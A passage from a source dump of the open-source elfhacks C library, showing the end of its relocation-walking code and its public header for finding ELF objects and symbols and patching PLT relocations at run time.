(ElfW(Rel) *) obj->dynamic[p].d_un.d_ptr;\n\tElfW(Dyn) *relsize;\n\teh_rel_t rel;\n\teh_sym_t sym;\n\tunsigned int i, ret;\n\n\trel.sym = &sym;\n\trel.rela = NULL;\n\trel.obj = obj;\n\n\tif (eh_find_next_dyn(obj, DT_PLTRELSZ, p, &relsize))\n\t\treturn EINVAL;\n\n\tfor (i = 0; i < relsize->d_un.d_val / sizeof(ElfW(Rel)); i++) {\n\t\trel.rel = &relp[i];\n\t\tsym.sym = &obj->symtab[ELFW_R_SYM(rel.rel->r_info)];\n\t\tif (sym.sym->st_name)\n\t\t\tsym.name = &obj->strtab[sym.sym->st_name];\n\t\telse\n\t\t\tsym.name = NULL;\n\n\t\tif ((ret = callback(&rel, arg)))\n\t\t\treturn ret;\n\t}\n\n\treturn 0;\n}\n\nint eh_iterate_rel(eh_obj_t *obj, eh_iterate_rel_callback_func callback, void *arg)\n{\n\tElfW(Dyn) *pltrel;\n\tint ret, p = 0;\n\n\twhile (obj->dynamic[p].d_tag != DT_NULL) {\n\t\tif (obj->dynamic[p].d_tag == DT_JMPREL) {\n\t\t\teh_find_next_dyn(obj, DT_PLTREL, p, &pltrel);\n\n\t\t\tif (pltrel->d_un.d_val == DT_RELA) {\n\t\t\t\tif ((ret = eh_iterate_rela_plt(obj, p, callback, arg)))\n\t\t\t\t\treturn ret;\n\t\t\t} else if (pltrel->d_un.d_val == DT_REL) {\n\t\t\t\tif ((ret = eh_iterate_rel_plt(obj, p, callback, arg)))\n\t\t\t\t\treturn ret;\n\t\t\t} else\n\t\t\t\treturn EINVAL;\n\t\t}\n\t\tp++;\n\t}\n\n\treturn 0;\n}\n\nint eh_destroy_obj(eh_obj_t *obj)\n{\n\tobj->phdr = NULL;\n\n\treturn 0;\n}\n\n/**  \\} */\n"
  },
  {
    "path": "elfhacks.h",
    "content": "/**\n * \\file src/elfhacks.h\n * \\brief elfhacks application interface\n * \\author Pyry Haulos <pyry.haulos@gmail.com>\n * \\date 2007-2008\n */\n\n/* elfhacks.h -- Various ELF run-time hacks\n  version 0.4.1, March 9th, 2008\n\n  Copyright (C) 2007-2008 Pyry Haulos\n\n  This software is provided 'as-is', without any express or implied\n  warranty.  In no event will the authors be held liable for any damages\n  arising from the use of this software.\n\n  Permission is granted to anyone to use this software for any purpose,\n  including commercial applications, and to alter it and redistribute it\n  freely, subject to the following restrictions:\n\n  1. The origin of this software must not be misrepresented; you must not\n     claim that you wrote the original software. If you use this software\n     in a product, an acknowledgment in the product documentation would be\n     appreciated but is not required.\n  2. Altered source versions must be plainly marked as such, and must not be\n     misrepresented as being the original software.\n  3. This notice may not be removed or altered from any source distribution.\n\n  Pyry Haulos <pyry.haulos@gmail.com>\n*/\n\n#include <elf.h>\n#include <link.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#define __PUBLIC __attribute__ ((visibility (\"default\")))\n\n#ifdef __x86_64__\n# define __elf64\n#endif\n#ifdef __i386__\n# define __elf32\n#endif\n\n#ifdef __elf64\n# define ELFW_R_SYM ELF64_R_SYM\n# define ElfW_Sword Elf64_Sxword\n#else\n# ifdef __elf32\n#  define ELFW_R_SYM ELF32_R_SYM\n#  define ElfW_Sword Elf32_Sword\n# else\n#  error neither __elf32 nor __elf64 is defined\n# endif\n#endif\n\n/**\n *  \\defgroup elfhacks elfhacks\n *  Elfhacks is a collection of functions that aim for retvieving\n *  or modifying progam's dynamic linking information at run-time.\n *  \\{\n */\n\n/**\n * \\brief elfhacks program object\n */\ntypedef struct {\n\t/** file name */\n\tconst char *name;\n\t/** base address in memory */\n\tElfW(Addr) addr;\n\t/** program headers */\n\tconst ElfW(Phdr) *phdr;\n\t/** number of program headers */\n\tElfW(Half) phnum;\n\t/** .dynamic */\n\tElfW(Dyn) *dynamic;\n\t/** .symtab */\n\tElfW(Sym) *symtab;\n\t/** .strtab */\n\tconst char *strtab;\n\t/** symbol hash table (DT_HASH) */\n\tElfW(Word) *hash;\n\t/** symbol hash table (DT_GNU_HASH) */\n\tElf32_Word *gnu_hash;\n} eh_obj_t;\n\n/**\n * \\brief elfhacks symbol\n */\ntypedef struct {\n\t/** symbol name */\n\tconst char *name;\n\t/** corresponding ElfW(Sym) */\n\tElfW(Sym) *sym;\n\t/** elfhacks object this symbol is associated to */\n\teh_obj_t *obj;\n} eh_sym_t;\n\n/**\n * \\brief elfhacks relocation\n */\ntypedef struct {\n\t/** symbol this relocation is associated to */\n\teh_sym_t *sym;\n\t/** corresponding ElfW(Rel) (NULL if this is Rela) */\n\tElfW(Rel) *rel;\n\t/** corresponding ElfW(Rela) (NULL if this is Rel) */\n\tElfW(Rela) *rela;\n\t/** elfhacks program object */\n\teh_obj_t *obj;\n} eh_rel_t;\n\n/**\n * \\brief Iterate objects callback\n */\ntypedef int (*eh_iterate_obj_callback_func)(eh_obj_t *obj, void *arg);\n/**\n * \\brief Iterate symbols callback\n */\ntypedef int (*eh_iterate_sym_callback_func)(eh_sym_t *sym, void *arg);\n/**\n * \\brief Iterate relocations callback\n */\ntypedef int (*eh_iterate_rel_callback_func)(eh_rel_t *rel, void *arg);\n\n/**\n * \\brief Initializes eh_obj_t for given soname\n *\n * Matching is done using fnmatch() so wildcards and other standard\n * filename metacharacters and expressions work.\n *\n * If soname is NULL, this function returns the main program object.\n * \\param obj elfhacks object\n * \\param soname object's soname (see /proc/pid/maps) or NULL for main\n * \\return 0 on success otherwise a positive error code\n*/\n__PUBLIC int eh_find_obj(eh_obj_t *obj, const char *soname);\n\n/**\n * \\brief Walk through list of objects\n * \\param callback callback function\n * \\param arg argument passed to callback function\n * \\return 0 on success otherwise an error code\n */\n__PUBLIC int eh_iterate_obj(eh_iterate_obj_callback_func callback, void *arg);\n\n/**\n * \\brief Finds symbol in object's .dynsym and retrvieves its value.\n * \\param obj elfhacks program object\n * \\param name symbol to find\n * \\param to returned value\n * \\return 0 on success otherwise a positive error code\n*/\n__PUBLIC int eh_find_sym(eh_obj_t *obj, const char *name, void **to);\n\n/**\n * \\brief Walk through list of symbols in object\n * \\param obj elfhacks program object\n * \\param callback callback function\n * \\param arg argument passed to callback function\n * \\return 0 on success otherwise an error code\n */\n__PUBLIC int eh_iterate_sym(eh_obj_t *obj, eh_iterate_sym_callback_func callback, void *arg);\n\n/**\n * \\brief Iterates through object's .rel.plt and .rela.plt and sets every\n *        occurrence of some symbol to the specified value.\n * \\param obj elfhacks program object\n * \\param sym symbol to replace\n * \\param val new value\n * \\return 0 on success otherwise a positive error code\n*/\n__PUBLIC int eh_set_rel(eh_obj_t *obj, const char *sym, void *val);\n\n/**\n * \\brief Walk through object's .rel.plt and .rela.plt\n * \\param obj elfhacks program object\n * \\param callback callback function\n * \\param arg argument passed to callback function\n */\n__PUBLIC int eh_iterate_rel(eh_obj_t *obj, eh_iterate_rel_callback_func callback, void *arg);\n\n/**\n * \\brief Destroy eh_obj_t object.\n * \\param obj elfhacks program object\n * \\return 0 on success otherwise a positive error code\n*/\n__PUBLIC int eh_destroy_obj(eh_obj_t *obj);\n\n/** \\} */\n\n#ifdef __cplusplus\n}\n#endif\n"
  }
]